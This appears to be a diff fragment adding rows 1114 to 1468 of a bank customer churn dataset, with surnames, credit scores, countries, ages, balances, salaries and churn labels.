+1114,15648800,Paterson,731,Germany,Female,21,8,132312.06,1,1,0,106663.46,1 +1115,15626147,Maclean,608,France,Female,62,8,144976.5,1,0,0,175836.03,1 +1116,15626608,Howarde,479,Spain,Male,48,5,87070.23,1,0,1,85646.41,0 +1117,15723250,Teng,519,France,Male,42,8,0,2,1,1,101485.72,0 +1118,15592583,Colman,731,France,Female,47,1,115414.19,3,0,0,191734.67,1 +1119,15759381,Johnson,617,Spain,Male,61,7,91070.43,1,1,1,101839.77,0 +1120,15585241,Butcher,756,Spain,Male,29,2,117412.19,2,1,0,4888.91,0 +1121,15589358,Stanley,848,Germany,Male,31,4,90018.45,2,1,0,193132.98,0 +1122,15672704,Jackson,809,France,Female,24,4,0,2,1,0,193518.76,0 +1123,15789955,Hu,698,Germany,Male,56,1,112414.81,2,0,0,93982.02,1 +1124,15596800,Hill,779,Germany,Male,33,1,158456.76,1,1,1,197000.92,1 +1125,15627305,Pan,606,Spain,Male,35,7,0,1,1,0,106837.06,1 +1126,15645316,Han,612,Germany,Female,58,1,149641.53,1,1,1,115161.28,0 +1127,15593973,Wilkie,663,Spain,Female,33,8,122528.18,1,1,0,196260.3,0 +1128,15647301,Bray,549,Germany,Female,45,3,143734.01,2,1,1,96404.38,0 +1129,15750258,Ann,675,France,Female,32,2,155663.31,1,1,0,97658.66,0 +1130,15685309,Souter,669,France,Female,35,7,0,1,1,1,49108.23,1 +1131,15628205,Greco,571,Germany,Female,34,1,101736.66,1,0,1,195651.66,0 +1132,15733974,Mao,500,Spain,Male,37,9,125822.21,1,1,0,111698,0 +1133,15762110,Anderson,628,France,Male,37,0,0,2,1,1,171707.93,0 +1134,15706899,Ma,559,France,Male,34,4,0,2,1,1,66721.98,0 +1135,15732660,Black,769,France,Female,27,2,0,1,1,1,57876.05,0 +1136,15656121,Medvedeva,733,Germany,Male,31,6,157791.07,2,0,0,177994.81,0 +1137,15614220,Benson,750,France,Male,22,5,0,2,0,1,105125.65,0 +1138,15645269,Duncan,583,France,Female,42,4,0,2,1,0,17439.66,0 +1139,15698510,Onwudiwe,468,Germany,Male,42,9,181627.14,2,1,0,172668.39,0 +1140,15569247,Mitchell,727,Spain,Female,57,1,109679.72,1,0,1,753.37,0 +1141,15566251,Ferrari,618,France,Female,37,5,96652.86,1,1,0,98686.4,1 +1142,15716134,Russo,617,France,Male,40,5,190008.32,2,1,1,107047.92,0 +1143,15763625,Hazon,793,Spain,Male,41,9,0,2,1,0,152153.74,0 +1144,15605965,Henderson,630,France,Male,43,9,0,2,1,1,34338.04,0 +1145,15694821,Hardy,765,Germany,Male,43,4,148962.76,1,0,1,173878.87,1 +1146,15601688,Piccio,546,France,Male,28,8,0,1,1,0,159254.29,0 +1147,15575581,Dickson,614,Germany,Female,30,3,131344.52,2,1,0,54776.64,0 +1148,15671209,Holden,593,Germany,Female,29,5,101713.84,3,1,0,134594.99,0 +1149,15616529,Hsieh,613,Spain,Male,34,3,0,1,1,1,41724.72,0 +1150,15773906,Doherty,655,France,Male,38,4,0,2,0,0,110527.71,0 +1151,15722993,Page,700,France,Female,27,6,137963.07,1,0,0,8996.79,0 +1152,15752463,Samuel,826,Spain,Female,29,4,129938.07,1,0,1,190200.53,0 +1153,15589754,Malloy,652,Germany,Male,45,2,151421.44,1,0,1,115333.43,0 +1154,15669899,Fitts,755,Germany,Female,45,7,135643,1,0,0,143619.52,1 +1155,15766887,Iadanza,538,Spain,Male,39,2,122773.5,2,1,1,58467.08,0 +1156,15768006,Wu,729,France,Male,34,3,152303.8,1,1,0,12128.69,0 +1157,15741295,Yefimova,615,France,Male,49,3,0,2,1,1,49872.33,0 +1158,15811327,Pan,700,Spain,Male,54,1,79415.67,1,0,1,139735.54,0 +1159,15690007,Ts'ui,434,Germany,Female,58,9,125801.03,2,1,0,60891.8,1 +1160,15690664,Liang,729,Spain,Male,37,10,0,2,1,0,100862.54,0 +1161,15719348,Tsao,513,France,Male,35,8,0,1,1,0,76640.29,1 +1162,15781802,Abramov,755,France,Male,41,6,104817.41,1,1,0,126013.58,1 +1163,15752731,Millar,615,France,Female,30,9,0,1,1,0,87347.82,0 +1164,15600997,Demuth,747,Germany,Female,32,5,67495.04,2,0,1,77370.37,0 +1165,15750776,Genovese,850,France,Female,36,0,164850.54,1,1,1,62722.44,0 +1166,15723907,Lawless,712,Germany,Female,49,5,154776.42,2,0,0,196257.68,0 +1167,15633419,Brooks,622,Germany,Female,28,1,143124.63,2,1,0,81723.8,0 +1168,15702430,Ignatyeva,548,France,Female,35,10,0,1,1,1,31299.71,0 +1169,15710456,Balmain,607,France,Female,27,2,0,2,1,0,63495.86,0 +1170,15650351,Millar,653,France,Female,38,8,102133.38,1,1,1,166520.96,0 +1171,15590820,Ecuyer,699,Spain,Male,26,6,79932.41,1,0,0,150242.44,0 +1172,15640454,Parkhill,693,Germany,Male,40,0,120711.73,1,0,0,27345.18,1 +1173,15697789,Li Fonti,647,Germany,Female,43,3,122717.53,2,1,1,87000.39,0 +1174,15808182,Beneventi,478,Spain,Female,36,3,92363.3,2,1,0,44912.7,0 +1175,15588670,Despeissis,705,Spain,Female,40,5,203715.15,1,1,0,179978.68,1 +1176,15721292,Atkins,719,Spain,Male,39,5,0,2,1,0,145759.7,0 +1177,15604217,Williams,726,France,Male,34,9,0,2,0,0,14121.61,0 +1178,15651369,Wright,626,France,Male,21,1,0,2,1,0,66232.23,0 +1179,15782454,Hancock,552,France,Male,49,4,0,1,1,1,190296.76,1 +1180,15814032,Hsieh,807,Germany,Female,31,1,93460.47,2,0,0,172782.69,0 +1181,15570326,Wilkins,621,France,Male,34,6,0,2,1,1,99128.13,0 +1182,15624428,Longo,651,Germany,Female,24,7,40224.7,1,1,1,178341.33,0 +1183,15755638,Mancini,673,France,Female,43,5,168069.73,1,1,1,146992.24,1 +1184,15600992,Madukaego,652,France,Male,36,1,0,2,1,1,151314.98,0 +1185,15755649,Winter-Irving,584,Germany,Male,47,7,130538.77,1,1,0,92915.84,0 +1186,15795228,Stewart,756,France,Male,37,3,132623.6,1,1,1,58974,0 +1187,15589257,Grant,670,France,Female,35,3,103465.02,2,1,1,174627.06,0 +1188,15719302,Brennan,765,France,Female,50,9,126547.8,1,1,1,79579.94,1 +1189,15639882,She,528,France,Male,30,2,128262.72,2,1,0,50771.16,0 +1190,15791279,Murray,701,France,Male,40,5,169742.64,1,1,1,153537.55,1 +1191,15636935,Rischbieth,797,France,Female,29,1,0,2,1,1,132975.39,0 +1192,15686909,Lung,639,Germany,Male,27,3,150795.81,1,0,1,85208.93,0 +1193,15589572,Otutodilichukwu,785,Spain,Female,61,4,129855.72,2,1,0,170214.82,1 +1194,15779947,Thomas,363,Spain,Female,28,6,146098.43,3,1,0,100615.14,1 +1195,15573769,Fiorentini,764,France,Female,24,7,0,2,1,0,186105.99,0 +1196,15578866,Hughes,676,France,Female,43,2,0,1,1,1,55119.53,0 +1197,15739131,Whitworth,718,Germany,Male,28,4,65643.3,1,1,0,28760.99,0 +1198,15813444,McIntosh,590,Spain,Female,34,6,0,2,1,0,171021.44,0 +1199,15678058,Ayers,584,France,Male,38,9,104584.16,1,1,0,176678.72,0 +1200,15769169,Trentino,645,France,Male,41,7,0,1,0,1,28667.56,0 +1201,15804602,Boyd,772,Germany,Male,30,6,99785.28,2,0,0,197238.03,0 +1202,15651052,McMasters,399,Germany,Male,46,2,127655.22,1,1,0,139994.68,1 +1203,15724334,Alekseyeva,529,France,Male,22,5,0,1,1,0,151169.83,0 +1204,15569451,Miller,463,France,Male,35,2,101257.16,1,1,1,118113.64,0 +1205,15650098,Baranova,630,France,Female,40,7,0,2,1,1,34453.17,0 +1206,15724307,Mitchell,780,France,Male,76,10,121313.88,1,0,1,64872.33,0 +1207,15599268,Yobachi,584,Spain,Male,32,5,0,2,1,0,10956.82,0 +1208,15594864,Huang,752,Germany,Male,30,4,81523.38,1,1,1,36885.85,0 +1209,15616451,Genovese,697,France,Female,47,6,128252.66,1,1,1,168053.4,0 +1210,15715667,Sorokina,850,France,Female,32,7,0,2,0,0,155227,0 +1211,15658969,Gray,711,France,Male,51,7,0,3,1,0,38409.79,1 +1212,15738174,Ervin,452,France,Female,32,5,0,2,0,1,75279.39,0 +1213,15813590,Vance,610,Spain,Male,42,6,0,2,1,0,158302.59,1 +1214,15624229,Noble,694,France,Female,22,4,0,2,1,1,11525.72,0 +1215,15674148,Milanesi,579,Spain,Male,33,6,0,1,1,0,94993.04,1 +1216,15625080,Parkin,745,Spain,Female,54,8,0,1,1,0,173912.29,1 +1217,15682528,Cremonesi,572,France,Male,33,5,0,1,0,1,41139.05,0 +1218,15696900,Burns,505,Germany,Male,29,3,145541.56,2,1,1,58019.95,0 +1219,15730038,Docherty,706,France,Female,23,5,0,1,0,0,164128.41,1 +1220,15812272,Ugonna,693,Germany,Male,44,5,124601.58,2,1,1,46998.13,1 +1221,15654654,L?,725,Germany,Female,33,7,115182.84,2,1,1,177279.41,0 +1222,15697625,Bevan,791,France,Male,37,2,163789.49,2,1,0,75832.53,0 +1223,15616280,Hsia,536,France,Male,46,1,65733.41,1,1,0,61094.53,0 +1224,15654229,O'Neill,699,Spain,Male,47,1,0,2,0,1,30117.44,0 +1225,15628298,Johnstone,500,Spain,Female,47,8,128486.11,1,1,0,179227.12,0 +1226,15733387,Pham,707,Spain,Female,53,6,109663.47,1,1,1,52110.45,0 +1227,15775572,Bergamaschi,531,Germany,Female,42,6,88324.31,2,1,0,75248.75,0 +1228,15613844,Murphy,557,France,Female,28,7,146445.24,2,1,0,184317.74,0 +1229,15578515,Osinachi,659,France,Female,38,3,0,2,1,0,158553.1,0 +1230,15607598,Muravyov,575,Spain,Female,31,6,0,2,1,1,95686.42,0 +1231,15742480,Igwebuike,775,Germany,Male,36,2,109949.05,2,0,1,71682.54,0 +1232,15749482,Zack,772,Spain,Male,30,4,78653.05,1,1,0,1790.48,0 +1233,15607537,Crawford,587,Germany,Male,46,9,107850.82,1,1,0,139431,1 +1234,15575410,Chidiegwu,667,Germany,Female,39,4,83765.35,2,1,0,118358.54,0 +1235,15684865,Lucchesi,771,France,Female,66,7,143773.07,1,1,1,130827.88,0 +1236,15600700,Pan,523,Germany,Male,63,6,116227.27,1,1,1,119404.63,0 +1237,15774155,Trevisani,662,Germany,Male,33,0,103471.52,1,1,1,162703,0 +1238,15634267,Yudin,717,France,Male,42,5,0,2,1,0,172665.21,0 +1239,15619626,Wade,746,France,Male,24,3,137492.35,2,0,1,170142.09,0 +1240,15660422,Chung,569,France,Male,28,7,0,2,1,0,73977.23,0 +1241,15617934,Septimus,579,France,Male,36,9,129829.59,1,1,1,60906.12,0 +1242,15760774,Hargraves,519,France,Female,21,1,146329.57,2,1,1,194867.27,0 +1243,15813132,Chukwukadibia,696,Germany,Male,30,4,114027.7,1,1,1,193716.56,0 +1244,15593331,Sidorov,693,Germany,Male,25,6,146580.69,1,0,1,14633.35,0 +1245,15616709,Bunton,587,Germany,Female,38,0,132122.42,2,0,0,31730.32,0 +1246,15658052,Cameron,626,France,Female,44,10,81553.93,1,1,0,20063.63,1 +1247,15721189,Kung,666,France,Female,66,7,0,2,1,1,99792.82,0 +1248,15711288,Hay,512,France,Male,24,6,0,2,1,0,37654.31,0 +1249,15770030,Conti,689,Spain,Female,28,3,0,2,1,1,192449.02,0 +1250,15803681,Sims,803,France,Female,26,4,0,2,1,1,181208.47,0 +1251,15702789,Carter,548,Germany,Male,32,5,175214.71,1,1,1,155165.61,0 +1252,15814930,McGregor,588,Germany,Female,40,10,125534.51,1,1,0,121504.18,1 +1253,15658306,Lo,693,France,Male,68,4,97705.99,1,1,1,61569.07,0 +1254,15699523,Chu,499,Germany,Female,55,4,126817.65,2,1,0,123269.71,0 +1255,15610383,Dumetolisa,628,France,Female,46,1,46870.43,4,1,0,31272.14,1 +1256,15615032,Peng,624,Spain,Male,46,3,0,2,1,1,62825.03,0 +1257,15781989,Drake-Brockman,733,France,Male,42,9,120094.93,1,1,0,184056.45,0 +1258,15647402,Wan,628,France,Female,38,3,0,2,1,1,48924.73,0 +1259,15740494,Cameron,633,France,Female,33,3,0,2,1,0,191111.02,0 +1260,15701265,Tretiakov,559,Germany,Female,36,1,104356.94,2,0,1,54184.06,0 +1261,15743532,Ball,704,Germany,Male,27,5,147004.34,1,1,0,64381.33,1 +1262,15794870,Sal,744,Germany,Male,38,6,73023.17,2,1,0,78770.86,0 +1263,15747591,Chung,665,Spain,Female,40,1,173432.55,1,0,1,116766.79,0 +1264,15726557,Lai,638,France,Female,42,7,165679.92,1,0,0,32916.29,0 +1265,15732199,Gether,837,Spain,Male,31,9,104678.62,1,0,1,50972.6,0 +1266,15662291,Davidson,534,France,Female,55,8,116973.26,3,1,0,122066.5,1 +1267,15749050,Justice,548,France,Female,36,3,0,1,1,0,65996.9,0 +1268,15781586,Osonduagwuike,837,Germany,Male,38,2,126732.85,1,1,1,79577.38,0 +1269,15617078,Ewing,658,France,Female,44,6,148481.09,1,1,0,130529.13,0 +1270,15723339,Chin,554,France,Female,38,4,137654.05,2,1,1,172629.67,0 +1271,15671322,Chiang,724,Germany,Male,30,7,115315.04,1,1,0,15216.53,0 +1272,15793854,Ahmed,723,France,Male,42,2,99095.73,1,1,1,17512.53,0 +1273,15756539,Marshall,585,Germany,Female,39,7,165610.41,2,0,0,131852.01,0 +1274,15612064,Tsou,474,France,Male,33,5,0,2,1,0,181945.52,1 +1275,15625916,Chien,562,Spain,Male,32,6,161628.66,1,1,0,91482.5,0 +1276,15683195,Ubanwa,719,France,Male,32,9,146605.27,1,1,1,77119.45,0 +1277,15690182,Kapustin,635,Germany,Male,37,5,113488.68,1,1,0,95611.74,1 +1278,15721719,Calabresi,743,France,Male,42,7,77002.2,2,1,1,80428.42,0 +1279,15641690,Hsiao,681,Spain,Male,67,7,0,2,0,1,163714.92,0 +1280,15634896,Grant,521,France,Female,39,6,0,2,0,1,27375.15,0 +1281,15671590,H?,741,Spain,Male,25,4,0,2,1,1,73873.65,0 +1282,15779182,Chia,790,Spain,Male,46,8,182364.53,1,0,0,139266.48,1 +1283,15778287,Ugoji,622,France,Male,35,8,0,2,1,1,131772.51,0 +1284,15609510,Gregory,669,France,Male,45,7,149364.58,1,0,1,173454.07,0 +1285,15742229,Mackay,583,France,Male,59,7,127450.14,1,0,1,67552.71,0 +1286,15658532,Nnamutaezinwa,520,Spain,Female,63,5,162278.32,1,1,1,34765.33,0 +1287,15590993,Findlay,579,Spain,Male,37,5,152212.88,2,0,0,120219.14,0 +1288,15565701,Ferri,698,Spain,Female,39,9,161993.89,1,0,0,90212.38,0 +1289,15597239,Ku,548,Spain,Male,39,7,131468.44,1,1,0,164975.82,0 +1290,15688880,Amechi,672,Germany,Male,40,10,102980.44,1,1,0,1285.81,1 +1291,15813917,Kirk,653,Germany,Male,31,9,143321.97,1,1,0,83679.46,0 +1292,15679611,Andrews,734,Spain,Female,37,2,130404.92,1,0,0,34548.74,0 +1293,15636589,Murray,794,France,Female,41,7,0,2,1,1,74275.08,0 +1294,15687752,Griffin,641,France,Male,30,2,87505.47,2,0,1,7278.57,0 +1295,15584363,Longstaff,824,France,Male,30,0,133634.02,1,1,1,162053.92,0 +1296,15737748,McWilliam,534,Spain,Female,33,3,151233.62,1,0,0,199336.63,0 +1297,15803365,Coffee,653,Spain,Male,55,2,70263.83,1,0,1,62347.71,0 +1298,15793247,Hancock,498,France,Male,34,5,0,2,1,1,91711.66,0 +1299,15572360,Clark,683,France,Male,30,10,57657.49,1,0,0,79240.9,0 +1300,15795166,Creswell,618,Germany,Male,42,8,153572.31,2,1,1,76679.6,0 +1301,15724620,Dodds,538,France,Male,37,1,134752.08,1,1,0,162511.55,0 +1302,15800856,Ewen,643,Spain,Male,34,3,83132.09,1,1,1,21360.88,0 +1303,15671097,Carter,428,France,Female,31,2,0,2,1,0,54487.43,0 +1304,15683930,Ch'iu,593,Germany,Female,32,9,134096.53,2,1,0,53931.05,1 +1305,15749004,Tsao,718,France,Female,31,0,118100.59,2,1,0,103165.15,0 +1306,15800434,Burgess,811,Germany,Male,52,10,76915.4,1,0,0,146359.81,1 +1307,15709117,Fanucci,823,Spain,Female,46,3,81576.75,1,1,1,28370.95,1 +1308,15638806,Blackburn,645,Spain,Male,49,2,0,2,0,0,10023.15,0 +1309,15662294,Bennett,710,France,Male,33,10,118327.17,2,1,1,192928.82,0 +1310,15690079,Boniwell,591,Spain,Male,30,8,124857.69,2,0,0,50485.7,0 +1311,15759317,Vasilieva,748,Germany,Female,27,2,90971.85,1,1,1,131662.47,0 +1312,15750497,Longo,850,France,Female,37,7,153147.75,1,1,1,152235.3,0 +1313,15596181,Kwemto,542,France,Male,38,8,65942.26,1,1,1,68093.23,1 +1314,15576602,Lawrence,809,France,Male,38,3,0,2,1,1,80061.31,0 +1315,15644833,Duncan,675,France,Male,54,2,0,1,1,0,149583.67,1 +1316,15734634,Bocharova,607,Spain,Female,27,5,100912.19,1,0,0,7631.27,0 +1317,15808689,Morres,850,France,Female,31,4,0,2,1,1,33082.81,0 +1318,15720702,Shih,789,France,Male,37,3,0,1,1,0,121883.87,1 +1319,15665077,Vogel,598,France,Female,43,5,0,3,1,1,100722.72,1 +1320,15763612,T'an,756,Germany,Male,41,2,124439.49,2,0,1,47093.11,0 +1321,15596493,Wisdom,687,France,Female,47,7,0,2,1,1,177624.01,0 +1322,15704483,Lorenzo,724,France,Male,40,6,0,2,0,0,106149.48,0 +1323,15598846,Shahan,700,France,Female,44,2,58781.76,1,1,0,16874.92,0 +1324,15629244,Bryant,635,Spain,Male,50,7,159453.64,2,0,0,54560.79,1 +1325,15765537,Liang,687,Germany,Male,26,2,142721.52,1,1,1,153605.75,0 +1326,15729975,Chidozie,613,France,Female,46,8,167795.6,1,0,1,44390.38,0 +1327,15682773,Hayward,781,France,Female,38,3,128345.69,2,1,0,63218.85,0 +1328,15688007,Liu,703,Spain,Male,20,3,165260.98,1,1,1,41626.78,0 +1329,15574331,Alexeeva,593,Germany,Female,62,3,118233.81,1,0,1,24765.53,1 +1330,15645572,Calabresi,743,France,Female,40,6,0,1,1,0,28280.8,1 +1331,15742854,Lettiere,640,Spain,Female,46,8,0,2,1,0,89043.19,0 +1332,15575417,Chou,849,Germany,Male,37,7,143452.74,2,1,1,17294.12,0 +1333,15796721,Nnamutaezinwa,778,France,Male,38,3,145018.49,2,1,1,126702.41,0 +1334,15734942,Nnamutaezinwa,539,Germany,Female,38,8,82407.51,1,1,0,13123.41,0 +1335,15664772,Greece,489,Germany,Male,28,1,79460.98,2,1,1,167973.63,0 +1336,15576683,Yin,568,Spain,Female,43,9,0,1,1,0,125870.79,1 +1337,15682563,Larionova,618,Spain,Male,38,5,126473.99,1,1,0,91972.49,0 +1338,15650889,Golubev,710,Germany,Female,30,10,133537.1,2,1,0,155593.74,0 +1339,15612108,Norman,625,France,Male,52,5,164978.01,1,1,1,67788.49,0 +1340,15761132,Capon,682,Spain,Male,46,7,128029.72,1,1,1,62615.35,0 +1341,15645511,Chukwudi,727,Spain,Male,43,2,97403.18,1,1,1,107415.02,1 +1342,15609824,Fedorov,794,France,Female,41,7,176845.41,3,1,0,166526.26,1 +1343,15640268,Avdeeva,652,Spain,Male,71,4,0,1,1,1,120107.1,0 +1344,15645778,Reid,670,Spain,Male,42,3,81589.04,1,1,0,188227.8,0 +1345,15691104,Kennedy,460,Germany,Female,40,6,119507.58,2,1,0,91560.63,1 +1346,15714567,Chan,568,Spain,Female,26,6,0,2,0,0,166495.2,0 +1347,15777826,Wofford,643,France,Male,30,5,94443.77,1,1,1,165614.4,0 +1348,15668445,Mai,521,France,Male,37,2,0,2,1,1,86372.24,0 +1349,15576162,King,615,France,Male,32,7,92199.84,1,1,1,2755.53,0 +1350,15778135,T'ao,575,Spain,Male,43,3,0,1,1,0,83594.51,0 +1351,15613141,Hsu,717,France,Female,41,3,135756.96,1,1,1,103706.41,0 +1352,15635435,White,648,France,Female,54,9,120633.42,1,0,0,5924.38,1 +1353,15596552,Stephens,535,Germany,Male,48,5,134542.73,1,1,1,58203.67,1 +1354,15623644,Frolov,626,Spain,Male,29,7,0,2,1,0,49361.84,0 +1355,15683403,Lombardi,611,Spain,Male,52,7,0,1,0,1,73585.18,1 +1356,15615029,Munro,734,Spain,Male,39,6,0,1,1,1,95135.27,0 +1357,15769005,Hayward,709,France,Male,49,4,154344.49,2,1,1,38794.57,0 +1358,15746326,Fields,591,France,Male,43,3,0,2,0,1,198926.36,0 +1359,15722364,Onwumelu,664,France,Male,43,9,189026.53,2,1,1,56099.86,0 +1360,15704954,Suffolk,431,France,Male,37,0,120764.08,1,1,1,117023.08,0 +1361,15694409,Tsao,647,Germany,Female,22,3,97975.82,2,0,1,62083,0 +1362,15754068,Judd,578,France,Male,32,4,0,2,1,1,141822.8,0 +1363,15683841,Hamilton,555,Germany,Male,41,10,113270.2,2,1,1,185387.14,0 +1364,15789095,T'ang,775,Spain,Male,30,4,0,2,0,1,57461.13,0 +1365,15719958,Degtyarev,850,Germany,Male,39,3,124548.99,2,1,1,120380.12,0 +1366,15689514,Kang,625,France,Male,43,8,201696.07,1,1,0,133020.9,1 +1367,15621353,Hudson,645,Spain,Female,37,7,0,2,1,0,13589.93,0 +1368,15627232,Jibunoh,608,Germany,Male,44,7,114203.47,1,1,1,77830.36,1 +1369,15745843,Kinlaw,689,Spain,Female,31,4,0,2,1,1,136610.02,0 +1370,15722902,Chizuoke,652,Germany,Male,50,8,125437.64,1,1,1,17160.94,1 +1371,15791767,Lucciano,769,France,Female,26,7,0,2,1,0,176843.53,0 +1372,15792722,Omeokachie,611,France,Female,43,8,64897.75,1,1,0,114996.33,0 +1373,15723006,Gorbunova,489,France,Male,38,8,0,2,0,1,196990.79,0 +1374,15771942,Tikhonov,528,Germany,Female,46,9,135555.66,1,1,0,133146.03,1 +1375,15774738,Campa,632,France,Male,44,3,107764.75,1,1,0,185667.72,0 +1376,15574004,Mancini,429,France,Female,27,6,117307.44,2,1,1,24020.49,0 +1377,15587233,Donoghue,457,France,Male,41,8,73700.12,3,1,1,185750.02,1 +1378,15808228,Tuan,768,Spain,Female,44,6,60603.4,1,1,1,178045.97,0 +1379,15682834,Johnstone,715,Spain,Female,35,4,40169.88,2,1,1,199857.47,0 +1380,15571752,Romani,668,Germany,Female,32,10,92041.87,1,1,1,43595.9,0 +1381,15743067,Fuller,625,Germany,Male,26,3,130483.95,1,1,0,122810.53,0 +1382,15714466,Baxter,846,France,Female,41,5,0,3,1,0,3440.47,1 +1383,15617982,Pirozzi,661,Spain,Female,42,3,0,2,1,0,35989.41,0 +1384,15696637,Sung,571,France,Female,23,10,151097.28,1,0,1,17163.75,0 +1385,15690647,Rogers,582,Spain,Female,46,8,67563.31,1,1,0,44506.09,1 +1386,15672756,Mills,716,France,Female,35,8,112808.18,1,0,1,17848.3,0 +1387,15704586,Osonduagwuike,758,France,Female,42,7,0,2,0,1,76209.56,0 +1388,15674526,Byrne,725,France,Male,66,4,86459.8,1,1,1,141476.56,0 +1389,15775295,McIntyre,630,France,Female,40,0,118633.08,1,0,1,60032.46,1 +1390,15684196,Aitken,627,France,Female,55,2,159441.27,1,1,0,100686.11,1 +1391,15727281,Macintyre,653,France,Female,27,9,0,2,1,0,96429.29,0 +1392,15787835,Simpson,775,Germany,Female,38,4,125212.65,2,1,1,15795.88,1 +1393,15730540,Simpson,794,Spain,Male,45,8,88656.37,2,1,0,116547.31,0 +1394,15646276,Metcalfe,831,France,Female,32,2,146033.62,1,1,0,191260.74,0 +1395,15582180,Lees,561,France,Male,29,9,120268.13,1,1,1,173870.39,0 +1396,15697095,Zetticci,705,Spain,Male,46,7,0,2,1,0,117273.35,0 +1397,15748797,Dale,636,Spain,Female,33,0,0,1,1,0,92277.47,1 +1398,15754796,Byrne,487,Germany,Female,46,4,135070.58,2,1,1,44244.49,1 +1399,15628947,Praed,693,France,Female,38,3,0,2,0,0,78133.48,1 +1400,15775546,Laurens,517,Spain,Female,29,5,0,2,1,0,103402.88,0 +1401,15670481,Woods,684,France,Female,27,9,122550.05,2,0,1,137835.82,0 +1402,15619029,Bykov,620,Spain,Female,43,2,0,2,1,0,20670.1,0 +1403,15613282,Vorobyova,757,France,Male,29,8,130306.49,1,1,0,77469.38,0 +1404,15721487,Pirogova,739,France,Female,27,6,0,1,1,1,57572.38,0 +1405,15797276,Sturt,662,Spain,Female,41,4,90350.77,1,1,0,75884.65,1 +1406,15612494,Panicucci,359,France,Female,44,6,128747.69,1,1,0,146955.71,1 +1407,15629617,Cook,572,Spain,Male,23,2,126873.52,1,0,1,67040.12,0 +1408,15600821,Hardy,721,France,Male,69,2,108424.19,1,1,1,178418.35,0 +1409,15579062,Chu,707,France,Male,32,9,0,2,0,0,30807.02,0 +1410,15814268,Franklin,444,France,Female,40,5,84350.07,1,1,0,143835.76,0 +1411,15710164,P'eng,523,France,Female,73,7,0,2,0,0,130883.9,1 +1412,15693904,Chiang,685,Germany,Female,30,4,84958.6,2,0,1,194343.72,0 +1413,15588986,Grant,673,Germany,Female,29,4,99097.36,1,1,1,9796.69,0 +1414,15797733,Udobata,503,Germany,Male,30,10,136622.55,2,0,0,47310.24,0 +1415,15620507,Siciliani,485,Germany,Female,30,5,156771.68,1,1,1,141148.21,0 +1416,15685150,Evans,799,Germany,Male,28,7,167658.33,2,1,1,111138.25,0 +1417,15667651,Young,585,Spain,Female,33,8,0,2,1,0,114182.07,0 +1418,15774166,Mitchell,607,Germany,Female,24,2,109483.54,2,0,1,127560.77,0 +1419,15649280,Lucchese,521,Germany,Female,40,9,134504.78,1,1,0,18082.06,0 +1420,15705657,Hewitt,535,France,Female,44,2,114427.86,1,1,1,136330.26,0 +1421,15753969,K'ung,724,Spain,Male,45,5,83888.54,1,0,1,34121.81,0 +1422,15742378,Swaim,520,Germany,Male,32,5,110029.77,1,1,0,56246.69,0 +1423,15794874,Quinones,696,Spain,Male,41,9,127523.75,1,0,1,191417.42,0 +1424,15589221,Kennedy,657,Germany,Male,30,1,139762.13,2,1,1,23317.88,0 +1425,15596671,Endrizzi,603,Spain,Female,42,8,91611.12,1,0,0,144675.3,1 +1426,15583668,Ludowici,726,France,Female,42,2,109471.79,1,0,1,175161.05,0 +1427,15710206,Larson,591,France,Female,39,4,150500.64,1,1,0,14928.8,0 +1428,15799966,Chigolum,792,Germany,Female,59,9,101609.77,1,0,0,161479.19,1 +1429,15794560,Maclean,550,France,Male,57,5,0,1,1,1,133501.94,0 +1430,15626485,Lu,601,France,Female,26,8,78892.23,1,1,1,23703.52,0 +1431,15703143,Tuan,820,France,Female,29,3,82344.84,1,0,1,115985.38,0 +1432,15809772,Glover,667,France,Male,48,2,0,1,1,0,43229.2,0 +1433,15687959,Landman,573,Spain,Female,44,4,0,1,1,1,94862.93,0 +1434,15585282,Trevisano,755,France,Male,62,1,127706.33,2,0,1,142377.69,0 +1435,15714993,Longo,552,France,Female,41,9,124349.34,1,1,0,135635.25,0 +1436,15596021,K?,598,Spain,Male,44,8,0,2,1,0,148487.9,0 +1437,15646615,Muir,576,Germany,Male,28,1,119336.29,2,0,1,58976.85,0 +1438,15742632,Alexeyeva,670,France,Female,31,9,0,1,0,1,76254.83,0 +1439,15574068,Norman,504,Germany,Male,56,9,104217.3,1,0,0,55857.48,1 +1440,15806967,Simmons,778,France,Female,65,7,0,1,1,1,77867.23,0 +1441,15796334,Chukwualuka,558,Germany,Male,39,10,144757.02,1,1,0,22878.16,1 +1442,15688713,McCall,627,Spain,Male,44,6,0,1,1,1,114469.55,0 +1443,15796179,Moore,683,France,Male,43,8,0,1,1,0,96754.8,0 +1444,15598751,Ingram,556,France,Female,43,6,0,3,0,0,125154.57,1 +1445,15703019,Okeke,583,France,Female,38,10,0,2,0,1,113597.64,0 +1446,15646302,Shao,705,France,Female,24,7,100169.51,1,1,0,121408.55,0 +1447,15680855,Iloabuchi,637,France,Male,33,2,145731.83,1,0,1,109219.43,0 +1448,15697311,Nebechukwu,697,Spain,Male,56,5,110802.03,1,1,1,50230.31,1 +1449,15585367,Diribe,555,Germany,Female,46,4,120392.99,1,1,0,177719.88,1 +1450,15726556,Macgroarty,594,Germany,Female,26,6,135067.52,2,0,0,131211.86,0 +1451,15676242,Artemova,632,Spain,Male,31,3,136556.44,1,1,0,82152.83,1 +1452,15684198,McDonald,551,France,Female,38,10,0,2,1,1,216.27,0 +1453,15774882,Mazzanti,687,France,Female,35,3,99587.43,1,1,1,1713.1,1 +1454,15714227,Kelly,672,France,Female,53,7,0,1,1,1,136910.18,0 +1455,15608653,Davison,521,Spain,Female,34,7,70731.07,1,1,1,20243.97,1 +1456,15784280,Reilly,686,Germany,Male,35,2,109342.82,2,0,1,86043.27,0 +1457,15789546,Ojiofor,639,Spain,Male,28,8,0,2,1,0,126561.07,0 +1458,15590320,Shelton,850,France,Male,66,4,0,2,0,1,64350.8,0 +1459,15678385,Lange,465,France,Male,25,2,78247.31,2,1,1,10472.31,0 +1460,15571778,Trentini,817,France,Female,55,10,117561.49,1,1,0,95941.55,1 +1461,15657085,Gardiner,578,France,Male,23,10,88980.32,1,1,1,125222.36,0 +1462,15640627,Wan,611,Spain,Male,34,4,0,2,1,0,170950.58,0 +1463,15566211,Hsu,616,Germany,Female,41,1,103560.57,1,1,0,236.45,1 +1464,15669293,Hovell,517,France,Male,37,5,113308.84,1,0,1,31517.16,0 +1465,15595067,Zhirov,637,Spain,Female,40,6,0,2,1,1,181610.6,0 +1466,15753566,Espinosa,806,France,Female,32,3,63763.49,1,1,0,156593.09,0 +1467,15650391,Wallace,633,France,Female,29,7,169988.35,1,1,0,4272,0 +1468,15681843,Barbour,624,Germany,Female,35,0,180303.24,2,1,0,163587.9,0 